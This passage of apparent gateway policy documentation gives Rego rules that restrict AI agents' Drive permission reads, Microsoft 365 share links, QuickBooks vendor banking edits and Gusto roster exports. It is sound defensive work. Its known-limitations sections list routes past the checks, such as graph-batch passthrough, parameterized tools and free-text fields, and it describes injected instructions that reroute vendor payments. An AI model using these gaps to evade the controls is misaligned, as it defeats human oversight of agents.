Drive REST verb # is `permissions.list`, so an alternate server could just as plausibly expose # the read as `list_permissions` / `list_file_permissions` / `listPermissions`. # Rather than enumerate every prefix (get_/list_/…), we gate the bare # `permissions` suffix: no benign Drive tool across the surveyed servers # (search_files, list_recent_files, get_file_metadata, read_file_content, # download_file_content, create_file, copy_file, gdrive_*, gsheets_*, and the # piotr-agier camelCase set) ends in `permissions`, so this carries no # false-positive risk within this app while catching every casing/verb variant. # The gateway prefixes tool names with the configured MCP server name (e.g. # `google-drive-mcp-`), so we match on the suffix to stay portable. Verify the # exact name on your gateway with the dump-input debug technique. acl_read_suffixes := ["permissions"] is_acl_read_tool if { name := lower(input.resource.name) some suffix in acl_read_suffixes endswith(name, suffix) } # Allow any tool that isn't a Drive ACL read. allow if { not is_acl_read_tool } # Allow ACL reads only for members of the reviewer group. allow if { is_acl_read_tool caller_is_acl_reviewer } # Fail closed: missing subject, claims, or groups — or a non-array groups # claim — means the caller is not exempt. caller_is_acl_reviewer if { claims := object.get(object.get(input, "subject", {}), "claims", {}) groups := object.get(claims, "groups", []) is_array(groups) some group in groups lower(group) == acl_reviewer_group } reasons contains "Reading Drive file permissions is restricted: the response enumerates collaborator email addresses and which files are shared externally. Sharing-state review is an admin task — ask your Drive administrator to review the file's sharing settings, or ask your InfoSec team to add you to the infosec group if your role requires ACL access." if { is_acl_read_tool not caller_is_acl_reviewer } reason := joined if { count(reasons) > 0 reason_list := sort([r | some r in reasons]) joined := concat("; ", reason_list) } ``` ### Guard OneDrive/SharePoint Share Links URL: https://www.intentbasedpolicy.com/policies/ms365/guard-share-links App(s): ms365 | Direction: ingress | Bundles: soc2, hipaa, gdpr-ccpa | Package: ms365.ingress.guard_share_links | Published: 2026-07-12 | Tags: ms365, share-links, sharing, ingress, soc2, iso27001-nist, hipaa, gdpr-ccpa Source: https://github.com/dtwoai/policy-store/blob/main/apps/ms365/guard-share-links/policy.md # ms365 / guard-share-links **Direction:** ingress (`tool_pre_invoke`) **Default:** allow with transform; two explicit deny branches **Package:** `ms365.ingress.guard_share_links` ## What it does Stops agents from opening OneDrive/SharePoint files to the whole internet. It guards the two Microsoft 365 sharing tools: 1. **`*-create-drive-item-share-link`** — Microsoft Graph mints an anonymous link silently, with no notification to anyone, and the link is usable by anybody who obtains it. This policy: - **Transforms** `body.scope: "anonymous"` to `"organization"`, so the link only works for signed-in members of the tenant. - **Forces** `body.scope: "organization"` when the request carries a body but omits `scope` entirely — Graph's `createLink` default scope is `anonymous` for OneDrive personal (and SharePoint tenants can be configured with an "Anyone" default link), so relying on the tenant default would let an agent mint a public link just by not sending `scope`. - **Injects** `body.expirationDateTime` seven days out when the request carries a body but no expiry, so every link the agent creates ages out. - **Denies outright** when `body.type` is `"edit"` combined with anonymous scope — a writable anonymous link is an unattended tenant-wide write path, and silently downgrading it could mask a compromised or misbehaving agent. This deny has no group exemption. 2. **`*-share-drive-item`** — emails sharing invitations to `recipients[]`. The policy **denies** when any recipient address is outside the corporate-domain allowlist, unless the caller is in the placeholder `collab-admins` IdP group. Recipients without a resolvable email address (objectId/alias entries, or non-string shapes) are also denied, because the domain check cannot verify them. All other tool calls pass through untouched. ## Compliance alignment - **SOC 2 CC6.7** — supports the restriction on transmission/movement of information outside system boundaries: anonymous links and external invitations are the two ways a drive item leaves the tenant's access-control perimeter through the agent, and both are downgraded or blocked at ingress. - **SOC 2 P6.1** — supports limiting disclosure of personal information to third parties: files behind anonymous links are disclosed to anyone holding the URL; forcing organization scope keeps disclosure inside the tenant. - **ISO 27001 A.5.14** — information-transfer control on the agent's file-sharing write path. - **HIPAA §164.502(b) / §164.530(c)** — supports minimum-necessary limits and privacy safeguards on a PHI-capable storage surface: OneDrive/SharePoint items can contain ePHI, so downgrading anonymous links to organization scope and blocking external sharing invitations keeps that content from being disclosed outside the covered entity through the agent. - **GDPR Art. 5(1)(f) / Art. 32; Arts. 44/46** — supports security of processing and cross-border-transfer discipline: an anonymous or externally-invited share link moves personal data out of the tenant's access-control perimeter, and both are blocked or scoped down at ingress so agent-driven personal-data egress stays inside approved domains. ## Why ingress and not egress Creating a share link or sending an invitation is a write with instant external effect — once Graph mints an anonymous URL or emails an invitation, the exposure exists regardless of what the caller sees in the response. Egress redaction would only hide the link from the agent, not revoke it. Ingress transform/deny is the only placement that actually prevents the exposure. ## Tool name matching Matches by suffix, case-insensitively: - `*-create-drive-item-share-link` - `*-share-drive-item` The DTwo gateway prefixes tool names with the configured MCP server name (observed live as `ms365-`, e.g. `ms365-create-drive-item-share-link`), and the prefix is not standardized across deployments — suffix matching keeps the policy portable. Verify the exact names your gateway sends with the dump-input debug technique before relying on this in production. The tool names themselves are verified from a live gateway deployment of `softeria/ms-365-mcp-server`. ## Argument shape Verified from live schemas of the softeria server: - `create-drive-item-share-link`: `driveId`, `driveItemId`, `body.type` (`view`|`edit`|`embed`), `body.scope` (`anonymous`|`organization`|`users`), `body.password`, `body.expirationDateTime`. - `share-drive-item`: `driveId`, `driveItemId`, and invitation `recipients[]` (each entry a Graph `driveRecipient`: `email`, or `objectId`/`alias`). The exact placement of `recipients` (top-level vs `body.recipients`) is inferred from the Graph `invite` action rather than verified from a live schema, so the policy checks **both** locations. All fields are read via `object.get` chains. A share-link call with **no `body` at all** passes through untransformed — there is nothing to patch, and injecting a body the caller never sent risks breaking the call shape (Graph applies tenant defaults; keep those conservative). Note the distinction from a call that carries a body but omits `scope`: that one **is** transformed (scope forced to `organization`), because relying on the tenant default there would be a silent public-link path. `scope` and `type` values are compared case-insensitively **and whitespace-trimmed**, so a padded `" anonymous "` / `" edit "` cannot slip past the downgrade or the edit deny. `expirationDateTime` is only treated as present when it is a non-empty string — an explicit `null`, a non-string value, or an empty/whitespace string all trigger expiry injection (Graph treats `null` as "no expiry", so accepting it would defeat the injected default). ## Examples ### Transformed (anonymous view link downgraded, expiry injected) ```jsonc { "input": { "action": "tool_pre_invoke", "resource": { "name": "ms365-create-drive-item-share-link", "type": "tool" }, "payload": { "name": "ms365-create-drive-item-share-link", "args": { "driveId": "b!abc", "driveItemId": "01XYZ", "body": { "type": "view", "scope": "anonymous" } } } } } ``` `allow = true`; `transform.transformed_payload.body` becomes `{ "type": "view", "scope": "organization", "expirationDateTime": "" }`. ### Denied (anonymous edit link) ```jsonc { "input": { "action": "tool_pre_invoke", "resource": { "name": "ms365-create-drive-item-share-link", "type": "tool" }, "payload": { "name": "ms365-create-drive-item-share-link", "args": { "driveId": "b!abc", "driveItemId": "01XYZ", "body": { "type": "edit", "scope": "anonymous" } } } } } ``` `allow = false`, `reason = "Anonymous edit links are blocked: ..."`. ### Denied (external invitation, caller not in collab-admins) ```jsonc { "input": { "action": "tool_pre_invoke", "resource": { "name": "ms365-share-drive-item", "type": "tool" }, "subject": { "sub": "user@example.com", "claims": { "groups": ["staff"] } }, "payload": { "name": "ms365-share-drive-item", "args": { "driveId": "b!abc", "driveItemId": "01XYZ", "body": { "recipients": [ { "email": "partner@vendor-b.example" } ] } } } } } ``` `allow = false`, `reason = "This sharing invitation includes recipients outside the corporate domain allowlist: ..."`. ## Composition This policy is single-purpose. Useful companions: - A `graph-batch` deny policy — `*-graph-batch` can reach the same Graph `createLink`/`invite` endpoints directly and bypasses every per-tool rule, so close that hole with a separate ingress policy. - An external email egress guard on `*-send-mail` / `*-forward-mail-message` — invitations are only one of the ways content leaves the tenant by email. - An egress policy on `*-list-drive-item-permissions` if you also want to limit ACL reconnaissance. ## Known limitations - **Placeholders — replace at import time.** `allowed_recipient_domains` ships as `{"example.com"}` and the exemption group ships as `collab-admins`; replace both with your corporate domain(s) and your IdP's group name. Group names are placeholders — replace `collab-admins` with your IdP's group name at import time. The `groups` claim is assumed to be an array of strings; if your IdP emits a single string or a namespaced claim, adapt `is_collab_admin`. - **`graph-batch` bypass.** This policy only sees the two named sharing tools. `*-graph-batch` (and generic passthrough servers like Lokka's `Lokka-Microsoft`) can call the underlying Graph endpoints unmatched — pair with a passthrough-deny policy (see Composition). - **No-body passthrough.** A share-link call with **no `body` at all** is allowed untransformed by design (documented above); the resulting link's scope/expiry follow tenant defaults, so keep tenant-level sharing defaults conservative. This is the only remaining tenant-default path — a call that carries a body but omits `scope` is *not* passed through: `scope` is forced to `organization` (red-team fix, see the transform). A body that is present but not an object (see next item) still passes through, since the scope read is undefined. - **`share-drive-item` recipients shape partially inferred.** The landscape research verifies the tool name and that it emails `recipients[]`, but the exact request placement is inferred from the Graph `invite` action. Both top-level `recipients` and `body.recipients` are checked; if your server nests them elsewhere, extend `recipient_entries`. - **Non-standard body shapes fail open for the transform.** If `body` is not an object (e.g. a string), the scope/expiry reads are undefined, no transform or link-deny fires, and the call passes through — Graph will reject the malformed body itself. The invitation deny branch is not affected (recipients that can't be parsed as email-bearing entries are denied as unverifiable). - **Expiry is injected, not enforced.** Graph/tenant settings decide whether `expirationDateTime` is honored for a given link type; some tenants ignore expiry on organization-scoped links. The injected value is a defense-in-depth default, not a guarantee. - **Anonymous-edit deny has no group exemption** — that is deliberate; if an external edit link is genuinely required, it should be created outside the agent path with human review. > **Compliance note.** This policy supports alignment with the cited framework controls **on the MCP path only**. No policy or bundle makes an organization compliant with any framework; web-UI, native-API, and in-app access are outside the gateway's reach by design. Validate against your own compliance program before relying on it. ```rego package ms365.ingress.guard_share_links # Transform-first policy: allow by default, downgrade anonymous share links to # organization scope and inject an expiry; deny only the two explicitly # dangerous branches (anonymous edit links, external sharing invitations). default allow := true # --------------------------------------------------------------------------- # Configuration placeholders — replace at import time # --------------------------------------------------------------------------- # Email domains allowed to receive sharing invitations. # PLACEHOLDER: replace "example.com" with your corporate domain(s), lowercase. allowed_recipient_domains := {"example.com"} # IdP group exempt from the external-invitation deny. # PLACEHOLDER: replace with your IdP's group name. collab_admin_group := "collab-admins" # Injected share-link lifetime: 7 days, in nanoseconds. seven_days_ns := ((7 * 24) * 3600) * 1000000000 # --------------------------------------------------------------------------- # Shared accessors — every possibly-missing field is read via object.get # --------------------------------------------------------------------------- args := object.get(object.get(input, "payload", {}), "args", {}) # The Graph request body ({} when the call carries no body at all). share_body := object.get(args, "body", {}) # True only when the call actually carries a body. A share-link call with no # body passes through untransformed: there is nothing to downgrade, and Graph # applies tenant defaults / rejects the call itself. body_present if { object.get(args, "body", null) != null } # createLink tool — mints a share link. Gateway prefixes the server name # (observed live as `ms365-`), so match by suffix for portability. is_share_link_call if { input.action == "tool_pre_invoke" endswith(lower(input.resource.name), "-create-drive-item-share-link") } # invite tool — emails sharing invitations to recipients[]. is_share_invite_call if { input.action == "tool_pre_invoke" endswith(lower(input.resource.name), "-share-drive-item") } # Current scope value, lowercased and whitespace-trimmed. "" when the body omits # scope entirely (or carries only whitespace). Trimming closes a bypass where a # padded value like " anonymous " would otherwise evade both the downgrade and # the anonymous-edit deny while Graph may still coerce it to the enum value. scope_value := trim(lower(object.get(share_body, "scope", "")), " \t\n\r\f") # Link type (view/edit/embed), lowercased and whitespace-trimmed for the same # reason as scope_value — a padded " edit " must not slip past the edit deny. type_value := trim(lower(object.get(share_body, "type", "")), " \t\n\r\f") anonymous_scope if { scope_value == "anonymous" } # Scope omitted on a call that DOES carry a body. We must not rely on the # tenant's default sharing scope: Graph's createLink default is "anonymous" for # OneDrive personal, and SharePoint/OneDrive-for-Business tenants can be # configured with an "Anyone" (anonymous) default link. Treating an omitted # scope as safe would let an agent mint a public link just by not sending # `scope`, bypassing the anonymous-scope guard entirely. scope_omitted if { body_present scope_value == "" } # Expiry is treated as missing unless a non-empty string is actually present. # A caller could otherwise defeat the injected expiry by sending # expirationDateTime: null (Graph treats null as "no expiry"), a non-string # value, or an empty/whitespace-only string. missing_expiry if { not is_string(object.get(share_body, "expirationDateTime", "")) } missing_expiry if { exp := object.get(share_body, "expirationDateTime", "") is_string(exp) trim(exp, " \t\n\r\f") == "" } is_collab_admin if { claims := object.get(object.get(input, "subject", {}), "claims", {}) some g in object.get(claims, "groups", []) g == collab_admin_group } # --------------------------------------------------------------------------- # Deny branch 1: anonymous EDIT links (no transform, no group exemption) # --------------------------------------------------------------------------- edit_anonymous_link if { is_share_link_call type_value == "edit" anonymous_scope } allow := false if { edit_anonymous_link } reasons contains "Anonymous edit links are blocked: an anonymous edit link lets anyone on the internet modify this file without signing in, and Microsoft Graph creates it silently with no notification. Request the link with organization scope instead (anonymous view links are downgraded to organization scope automatically). Contact your InfoSec team if an external edit link is genuinely required." if { edit_anonymous_link } # --------------------------------------------------------------------------- # Transform: downgrade anonymous scope, inject a 7-day expiry when absent # --------------------------------------------------------------------------- default_expiry := time.format([time.now_ns() + seven_days_ns, "UTC", "2006-01-02T15:04:05Z07:00"]) body_patch["scope"] := "organization" if { anonymous_scope } # Force organization when scope is omitted so an unspecified scope can't inherit # a public tenant default (see scope_omitted). body_patch["scope"] := "organization" if { scope_omitted } body_patch["expirationDateTime"] := default_expiry if { missing_expiry } transform := {"transformed_payload": object.union(args, {"body": new_body})} if { is_share_link_call not edit_anonymous_link body_present count(body_patch) > 0 new_body := object.union(share_body, body_patch) } # --------------------------------------------------------------------------- # Deny branch 2: sharing invitations to external / unverifiable recipients # --------------------------------------------------------------------------- # Recipients may appear at the top level or under body — check both (the exact # placement is inferred from the Graph invite action; see Known limitations). recipient_entries contains r if { is_share_invite_call some r in object.get(args, "recipients", []) } recipient_entries contains r if { is_share_invite_call some r in object.get(share_body, "recipients", []) } # Normalize a recipient entry to a lowercase email string; "" when the entry # carries no resolvable email (objectId/alias entries, non-string shapes). recipient_email(r) := lower(email) if { is_object(r) email := object.get(r, "email", "") is_string(email) } recipient_email(r) := "" if { is_object(r) not is_string(object.get(r, "email", "")) } recipient_email(r) := lower(r) if { is_string(r) } recipient_email(r) := "" if { not is_object(r) not is_string(r) } # An email is allowlisted only when it has exactly one "@" and its domain is # in the corporate allowlist — malformed addresses fail closed as external. allowlisted_email(email) if { parts := split(email, "@") count(parts) == 2 allowed_recipient_domains[parts[1]] } external_recipients contains email if { some r in recipient_entries email := recipient_email(r) email != "" not allowlisted_email(email) } has_unverifiable_recipient if { some r in recipient_entries recipient_email(r) == "" } allow := false if { count(external_recipients) > 0 not is_collab_admin } allow := false if { has_unverifiable_recipient not is_collab_admin } reasons contains msg if { count(external_recipients) > 0 not is_collab_admin msg := sprintf("This sharing invitation includes recipients outside the corporate domain allowlist: %s. Share with organization members instead, or ask a member of the %s group to send external invitations. Contact your InfoSec team if a domain should be added to the allowlist.", [concat(", ", sort([e | some e in external_recipients])), collab_admin_group]) } reasons contains msg if { has_unverifiable_recipient not is_collab_admin msg := sprintf("This sharing invitation includes a recipient without an email address (such as an objectId or alias), so the corporate-domain check cannot verify it. Re-send the invitation using recipient email addresses, or ask a member of the %s group to send it.", [collab_admin_group]) } # --- Standard reason aggregation block --- reason := joined if { count(reasons) > 0 reason_list := sort([r | some r in reasons]) joined := concat("; ", reason_list) } ``` ### Guard Vendor Banking and Tax-ID Changes URL: https://www.intentbasedpolicy.com/policies/quickbooks/guard-vendor-banking App(s): quickbooks | Direction: ingress | Bundles: sox | Package: quickbooks.ingress.guard_vendor_banking | Published: 2026-07-12 | Tags: quickbooks, vendor-banking, anti-bec, ingress, sox Source: https://github.com/dtwoai/policy-store/blob/main/apps/quickbooks/guard-vendor-banking/policy.md # quickbooks / guard-vendor-banking **Direction:** ingress (`tool_pre_invoke`) **Default:** deny on match, allow otherwise **Package:** `quickbooks.ingress.guard_vendor_banking` ## What it does Blocks `create_vendor` and `update_vendor` calls whose arguments carry a vendor's **payment coordinates** — bank account number, routing / ACH branch details — or its **tax identity** — the EIN/SSN used for 1099 reporting. Any vendor create/update that touches one of these fields is denied at ingress, before it reaches the QuickBooks MCP server, so the change never lands in the books of record. Silently repointing a vendor's bank account is the core **business-email- compromise (BEC)** vector: an injected agent instruction that rewrites a vendor's ACH details quietly reroutes every future payment to that vendor to an attacker-controlled account. Because the mutation looks like an ordinary vendor edit, it is easy to miss in a review of agent activity — so the gateway refuses it outright and points the caller at the human, dual-approval path in QuickBooks. Non-banking vendor edits — display name, print-on-check name, payment terms, email, phone, billing address — pass through unchanged. Vendor deletes/deactivations are **out of scope here**; they are covered by the companion `freeze-destructive-ops` policy. ## Compliance alignment - **SOX — Exchange Act Rule 13a-15(f)(3) (17 CFR §240.13a-15), safeguarding of assets.** Preventing unauthorized change to a vendor's payment coordinates is a direct "prevent or timely detect unauthorized … disposition of assets" control on the agent path — a rerouted ACH account is asset disposition to an unauthorized party. The gateway logs every attempt with a deny reason. - **SOX — COSO 2013 Principle 10 (segregation of duties).** Blocking the agent from setting vendor banking/tax details keeps the "who can change where money goes" step in a human, dual-approval lane rather than letting an agent both initiate and effect it. - **SOC 2 CC6.1 (logical access controls) / PI1.5 (integrity of stored records).** Denying agent-initiated changes to a vendor's payment coordinates and tax identity is a logical-access boundary that prevents unauthorized modification of financial master data over the agent channel, supporting the integrity of the vendor records QuickBooks holds. This policy addresses the PF-10 family (`guard-vendor-banking`) row of the coverage matrix (SOX §2.5, Rule 13a-15(f)(3)). ## Tool name matching The policy matches the vendor create/update tools by suffix on the **separator-normalized** tool name — `input.resource.name` lowercased with underscores, hyphens, and spaces stripped: - `*createvendor` (matches `create_vendor`, `createVendor`, `create-vendor`) - `*updatevendor` (matches `update_vendor`, `updateVendor`, `update-vendor`) Normalizing the tool name means a server that uses camelCase or hyphenated tool names cannot silently bypass the policy (a plain `endswith` on `create_vendor` would miss `createVendor` and no-op the whole policy). Matching the `createvendor` / `updatevendor` verb+entity suffix still targets the **`_vendor` entity** while `create_vendor_credit` / `update_vendor_credit` (a *different* entity, normalizing to `...vendorcredit`, ending in `credit`) is naturally excluded, and vendor **reads** (`get_vendor`, `search_vendors`) and **deletes** (`delete_vendor`) fall through to `allow` — deletes are handled by `freeze-destructive-ops`, not here. The DTwo gateway prefixes tool names with the configured MCP server name (e.g. `qbo-mcp-create_vendor`), and that prefix is not standardized — suffix matching keeps the policy portable. Verify the exact names your gateway sends with a live `tools/list` (or the dump-input debug technique) before relying on this in production. ## Argument shape The policy inspects **field names** in `input.payload.args`, recursively (including nested objects), and normalizes each key (lowercase, underscores / hyphens / spaces removed) so it matches both server conventions: - **Intuit official server** — snake_case wrapper keys, e.g. `bank_account_number`, `routing_number`, `tax_identifier`, `vendor_payment_bank_detail`. - **LibreChat community server** — raw-QBO PascalCase keys, e.g. `BankAccountNumber`, `BankBranchIdentifier`, `TaxIdentifier`, `VendorPaymentBankDetail`. Normalization collapses both to the same token (`bankaccountnumber`, `taxidentifier`, …), so the single `sensitive_fields` allowlist covers both shapes. As a defense-in-depth second branch, the policy also denies when any string value in the payload is shaped like a US tax identifier (SSN `123-45-6789` or EIN `12-3456789`) — this catches a tax ID smuggled under a benign key. > **The exact QBO Vendor bank/tax field keys are not verified** in the app > landscape note. Treat `sensitive_fields` as a documented **candidate > allowlist to confirm against a live `tools/list`** for your server, and tune > it to the keys your deployment actually emits (see Known limitations). ## Examples ### Allowed — non-banking vendor edit ```jsonc { "input": { "action": "tool_pre_invoke", "resource": { "name": "qbo-mcp-update_vendor", "type": "tool" }, "payload": { "name": "qbo-mcp-update_vendor", "args": { "id": "56", "display_name": "Acme Supplies", "terms_ref": "NET30" } } } } ``` `allow = true`, no reason. ### Denied — bank account on a vendor create ```jsonc { "input": { "action": "tool_pre_invoke", "resource": { "name": "qbo-mcp-create_vendor", "type": "tool" }, "payload": { "name": "qbo-mcp-create_vendor", "args": { "display_name": "New Vendor LLC", "bank_account_number": "000123456789", "routing_number": "021000021" } } } } ``` `allow = false`, reason names the BEC risk and the dual-approval path. ## Composition This policy is single-purpose. Useful companions on the same QuickBooks gateway: - [`freeze-destructive-ops`](../../../bundles/sox/README.md) — denies `delete_vendor` (deactivation) and other destructive verbs. - `gate-money-movement` (PF-09) — caps/denies `create_payment` / `create_bill_payment` so a mis-set vendor cannot be paid at scale. - `role-gate-writes` (PF-12) — restricts all vendor writes to a finance IdP group as the least-privilege baseline. - An egress PII/DLP policy that redacts SSN/EIN/bank-account values from `get_vendor` / `search_vendors` responses. ## Known limitations - **Field-name allowlist is unverified.** The exact QuickBooks Vendor bank/tax field keys are not confirmed in the landscape note. `sensitive_fields` is a candidate list — confirm it against a live `tools/list` and add any keys your server uses (some servers may nest bank details under a container object with a name not in the list). Missing a key means that field is **not** blocked. - **Shapeless values in free-text fields.** A bank account number pasted into a benign free-text field (e.g. `print_on_check_name`, `notes`, a QBO `CustomField` `StringValue`, or a stringified-JSON blob whose keys are not real object keys) has no fixed shape and no sensitive key name, so it is **not** caught — only the tax-ID value branch (SSN/EIN shapes) inspects values, and the field-name branch inspects only real object keys, not the contents of a string. Pair with an egress DLP policy for the read path if this residual matters. - **Field-name matching is exact on the normalized token, not substring.** The banking-synonym list was broadened after red-team review (adds `bankaccountno`, `accountno`, `aba`/`abanumber`/`abaroutingnumber`, `wireroutingnumber`, `iban`, `swift`/`swiftcode`, `bic`, `sortcode`), but a key must normalize to a token that is *exactly* in the set — a novel key such as `vendor_bank_acct_number` (normalizes to `vendorbankacctnumber`) will not match. Confirm the keys your server actually emits and extend the list. - **Tax-ID value branch can over-block.** The dash-delimited value regex will also fire on a benign value that happens to share the SSN (`\d{3}-\d{2}-\d{4}`) or EIN (`\d{2}-\d{7}`) grouping — e.g. a foreign registration number or an oddly-formatted reference. Because this is a deny policy the over-block is fail-safe (the caller is pointed at finance), but tune the pattern or the scope if legitimate dash-delimited values in your data collide. - **Tax-ID value regex is US-shaped and dash-delimited only.** The value branch matches the **dash-delimited** US SSN (`123-45-6789`) and EIN (`12-3456789`) formats only. A tax ID written **without separators** (`123456789`) or with **spaces** (`123 45 6789`) under a benign free-text key is **not** caught by the value branch — matching bare 9-digit runs would over-block every order number, phone, and quantity, so the pattern is deliberately conservative. Non-US tax identifiers are likewise caught only by field name. This is defense-in-depth behind the field-name allowlist, which remains the primary control; pair with an egress DLP policy if the read path matters. - **Parameterized / mega-tool servers are not covered.** This policy matches on the `create_vendor` / `update_vendor` tool-name suffix, which fits the Intuit official server and the LibreChat community server (`verb_entity` naming). It does **not** cover servers that expose a single parameterized tool and carry the verb+entity in an argument — e.g. the archived `hvkshetry/quickbooks-mcp` `party` tool called as `party(operation="update", party_type="vendor", …)`. Such a call has a tool name (`party`) that matches neither suffix, so banking and tax fields in its arguments pass through unblocked. If your deployment uses a parameterized server, add a companion policy that inspects the `operation` / `party_type` (or equivalent) arguments; a suffix-matching policy alone cannot see the verb. - **No identity-based exemptions.** All callers are subject to the same check. To allow a break-glass finance controller to set banking details via the agent, add an `allow if` branch gated on `input.subject.claims.groups` (group names are placeholders — replace with your IdP's group name at import time). - **Reads and deletes are out of scope.** Vendor reads pass through; vendor deletes/deactivations are governed by `freeze-destructive-ops`. > **Compliance note.** This policy supports alignment with the cited framework controls **on the MCP path only**. No policy or bundle makes an organization compliant with any framework; web-UI, native-API, and in-app access are outside the gateway's reach by design. Validate against your own compliance program before relying on it. ```rego package quickbooks.ingress.guard_vendor_banking # Deny-by-default: only the explicit allow rules below permit the request. default allow := false # Normalized (lowercase, no separators) vendor field-name tokens that carry # banking or tax-identity data. CANDIDATE LIST — the exact QBO Vendor keys are # not verified; confirm against a live tools/list and tune per deployment. # Normalization collapses snake_case (official server) and PascalCase # (LibreChat raw-QBO) to the same token, so one list covers both conventions. sensitive_fields := { # --- Banking / ACH payment coordinates --- "bankaccountnumber", "accountnumber", "bankaccount", "routingnumber", "bankroutingnumber", "achroutingnumber", "bankbranchidentifier", # QBO routing/branch identifier "vendorpaymentbankdetail", # QBO nested bank-detail container "bankaccountdetail", "achenabled", # Common banking-identifier synonyms / abbreviations and intl. equivalents # (added after red-team review — all are bank routing/account identifiers, # not plausible benign vendor field names). "bankaccountno", "accountno", "aba", "abanumber", "abaroutingnumber", "wireroutingnumber", "iban", "swift", "swiftcode", "bic", "sortcode", # --- Tax identity (EIN/SSN for 1099) --- "taxidentifier", # QBO TaxIdentifier -> tax_identifier "taxid", "taxidentificationnumber", "taxregistrationnumber", "ein", "ssn", "tin", } # US tax-identifier value shapes: SSN 123-45-6789 or EIN 12-3456789. # Anchored with word boundaries to stay conservative (won't match a longer # digit run). Catches a tax ID smuggled under a non-sensitive key name. tax_id_value_pattern := `\b(\d{3}-\d{2}-\d{4}|\d{2}-\d{7})\b` # Tool arguments, safely defaulted so a missing `args` yields an empty object # rather than a rule-body failure. args := object.get(input.payload, "args", {}) # Normalize a field name: lowercase and strip underscores, hyphens, spaces so # `bank_account_number` and `BankAccountNumber` compare equal. normalize(key) := lower(regex.replace(key, `[_\-\s]`, "")) # Vendor create/update tools. We match on the SEPARATOR-NORMALIZED tool name # (lowercase + underscores/hyphens/spaces stripped) so `create_vendor`, # `createVendor`, and `create-vendor` all match — otherwise a server using # camelCase or hyphenated tool names would silently bypass the whole policy. # Matching the `createvendor` / `updatevendor` suffix targets the `_vendor` # entity and still naturally excludes `create_vendor_credit` / # `update_vendor_credit` (normalizes to `...vendorcredit`, ends in `credit`) # and `delete_vendor` / `get_vendor` / `search_vendors`. is_vendor_write if { endswith(normalize(input.resource.name), "createvendor") } is_vendor_write if { endswith(normalize(input.resource.name), "updatevendor") } # True if any argument key (at any depth) is a banking/tax-identity field. banking_field_present if { walk(args, [path, _]) some key in path is_string(key) sensitive_fields[normalize(key)] } # True if any string value (at any depth) is shaped like a US tax identifier. tax_id_value_present if { walk(args, [_, value]) is_string(value) regex.match(tax_id_value_pattern, value) } # Allow anything that isn't a vendor create/update call (reads, deletes, # vendor-credit tools, and every non-vendor tool). allow if { not is_vendor_write } # Allow vendor create/update only when no banking/tax field or tax-ID-shaped # value is present. allow if { is_vendor_write not banking_field_present not tax_id_value_present } reasons contains "Creating or updating a vendor with bank-account, routing/ACH, or tax-identity (EIN/SSN) fields is blocked at the gateway. Silently repointing a vendor's payment coordinates is the primary business-email-compromise (BEC) vector: a rerouted bank account diverts every future ACH payment. Change vendor banking or tax-ID details directly in QuickBooks under dual approval, or ask your finance/AP administrator to make the change or grant an exception." if { is_vendor_write banking_field_present } reasons contains "This vendor create/update carries a value shaped like a US tax identifier (SSN or EIN). Tax IDs for 1099 vendors must be set in QuickBooks under finance review, not through the agent. Contact your finance/AP administrator if this change is legitimate." if { is_vendor_write tax_id_value_present } reason := joined if { count(reasons) > 0 reason_list := sort([r | some r in reasons]) joined := concat("; ", reason_list) } ``` ### Gusto Cap Roster Export URL: https://www.intentbasedpolicy.com/policies/gusto/cap-roster-export App(s): gusto | Direction: ingress | Bundles: gdpr-ccpa, soc2 | Package: gusto.ingress.cap_roster_export | Published: 2026-07-12 | Tags: gusto, cap-bulk-export, pii, data-minimisation, ingress, gdpr-ccpa, soc2 Source: https://github.com/dtwoai/policy-store/blob/main/apps/gusto/cap-roster-export/policy.md # gusto / cap-roster-export **Direction:** ingress (`tool_pre_invoke`) **Default:** allow (transform-only — never denies) **Package:** `gusto.ingress.cap_roster_export` ## What it does Throttles full-roster exfiltration on Gusto's two broad outbound list tools — `list_company_employees` and `list_company_contractors` — by rewriting their arguments before the call reaches the Gusto MCP server: - **Page-size clamp** — the docs-confirmed pagination arg `per` is clamped to a maximum of **25**. Any numeric `per` above 25 is rewritten to 25; a non-positive `per` (`0` or negative, which some servers treat as "unbounded") and a present-but-non-numeric `per` are also normalised to 25. - **Custom-field strip** — the docs-confirmed `include=custom_fields` expansion is removed from the `include` argument (string or array form), so the roster page comes back without the custom PII fields attached. Both rewrites apply only to callers whose IdP claims lack the placeholder group `hr-payroll-admins`. HR-payroll admins retain full pagination and field expansion. This is a **transform, not a deny** (`default allow := true`): it rewrites args with safe defaults rather than blocking, so ordinary single-employee lookups and small roster reads keep working while bulk pulls are curtailed. A call that already requests `per` ≤ 25 and does not ask for `custom_fields` passes through untouched. Every possibly-missing field is read with `object.get`, so malformed or minimal calls pass through rather than erroring. ## Why this shape is the risk The Gusto landscape note identifies exactly this pattern as the exfiltration channel: a broad list tool with a high `per` plus `include=custom_fields` pulls the entire employee roster — names, home addresses, custom PII fields — in a few calls, which can then leak through any other connector in the same session. Because the official Gusto server is read-only, bulk PII egress (not destructive writes) is the primary DTwo exposure, and clamping the list surface is the cheapest structural control over it. ## Compliance alignment - **SOC 2 CC6.7** — supports the restriction on transmission/movement/removal of information by bounding how many employee/contractor records — and which fields — a single agent list call can move out of Gusto. - **GDPR Art. 5(1)(c)** — data minimisation on the agent channel: the page size and field expansion are minimised *before* the call reaches Gusto, so the agent retrieves the roster slice sized to the task rather than the whole company plus its custom fields. - **CCPA 11 CCR §7002** — supports proportionality: retrieval of employee PII (including custom fields) stays proportionate to the disclosed purpose rather than defaulting to full-roster export. ## Why ingress The over-broad request itself is the problem: once Gusto has returned a 200-row roster with custom fields, an egress policy can only mask fields — the volume has already been fetched, logged, and counted against rate limits. Rewriting `per` and `include` at ingress enforces minimisation before the query executes, which is the only place the record *count* and the *field expansion* can be controlled. ## Tool name matching The DTwo gateway prefixes tool names with the configured MCP server name (e.g. `gusto-mcp-list_company_employees`), so matching is by **case-insensitive suffix** to stay portable across deployments. Covered names (verified verbatim from the official Gusto MCP docs): - `list_company_employees` - `list_company_contractors` Verify the exact names your gateway sends with the dump-input debug technique before relying on this in production. ## Argument shape - `per` — the docs-confirmed pagination arg on Gusto list tools (alongside `page`). Read as a top-level numeric argument. If `per` is **omitted** the call passes through unchanged — Gusto's documented default page size is 25, already at the cap. If your server defaults to a larger page when `per` is absent, extend the policy to inject `per: 25` on absence. - `include` — the docs-confirmed field-selection arg; `include=custom_fields` is the docs-confirmed expansion this policy strips. The policy handles both the comma-separated **string** form (`"custom_fields"`, `"jobs,custom_fields"`) and an **array** form (`["custom_fields", "jobs"]`), removing only the `custom_fields` token (case-insensitive) and leaving any other requested expansions intact. - 